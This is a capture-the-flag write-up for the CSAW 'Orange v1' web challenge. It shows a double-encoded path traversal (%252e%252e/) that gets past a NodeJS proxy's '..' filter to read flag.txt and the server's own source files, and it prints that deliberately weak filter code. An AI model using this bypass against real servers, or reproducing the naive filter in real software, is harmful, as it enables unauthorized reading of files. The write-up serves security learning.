Tags: lfi
Rating:
# ▼▼▼Orange v1(Web:100)▼▼▼ (421/1444 team=29.2%)
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```
I wrote a little proxy program in NodeJS for my poems folder.
Everyone wants to read flag.txt but I like it too much to share.
http://web.chal.csaw.io:7311/?path=orange.txt
```
### 【function】
GET /?path=orange.txt
↓
`i love oranges`
### 【goal】
find **flag.txt**
### 【Search for vulnerabilities】
GET /?path=
↓
```
<html>
<title>Directory listing for /poems/</title>
<body>
<h2>Directory listing for /poems/</h2>
<hr>
↓
**Directory listing vulnerability★**
-----
GET /?path=../
GET /?path=..
↓
`WHOA THATS BANNED!!!!`
↓
**..(dot) is detected!!★**
-----
**Double encode**(https://www.owasp.org/index.php/Double_Encoding)
↓
GET /?path=**%252e%252e**/
↓
```
<html>
<title>Directory listing for /poems/../</title>
<body>
<h2>Directory listing for /poems/../</h2>
<hr>
↓
Success!!★
-----
GET /?path=%252e%252e/flag.txt
↓
**flag{thank_you_based_orange_for_this_ctf_challenge}**
-----
### -----Reference: Other source code)-----
GET /?path=%252e%252e/server.js
↓
```
var http = require('http');
var fs = require('fs');
var url = require('url');
var server = http.createServer(function(req, res) {
try {
var path = url.parse(req.url, true).query;
path = path['path'];
if (path.indexOf("..") == -1 && path.indexOf("ＮＮ") == -1) {
var base = "http://localhost:8080/poems/";
var callback = function(response){
var str = '';
response.on('data', function (chunk) {
str += chunk;
});
response.on('end', function () {
res.end(str);
});
}
http.get(base + path, callback).end();
} else {
res.writeHead(403);
res.end("WHOA THATS BANNED!!!!");
}
}
catch (e) {
res.writeHead(404);
res.end('Oops');
}
});
server.listen(9999);
```
-----
GET /?path=%252e%252e/back.py
↓
```
#!/usr/bin/python
import SimpleHTTPServer
import SocketServer
PORT = 8080
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "Serving at port", PORT
httpd.serve_forever()
```
-----
GET /?path=%252e%252e/serve.sh
↓
```
#!/usr/bin/env bash
python back.py &
nodejs server.js
```
-----
GET /?path=.%252e/.dockerignore
↓
```
Dockerfile
docker-compose.yml
README.md
```
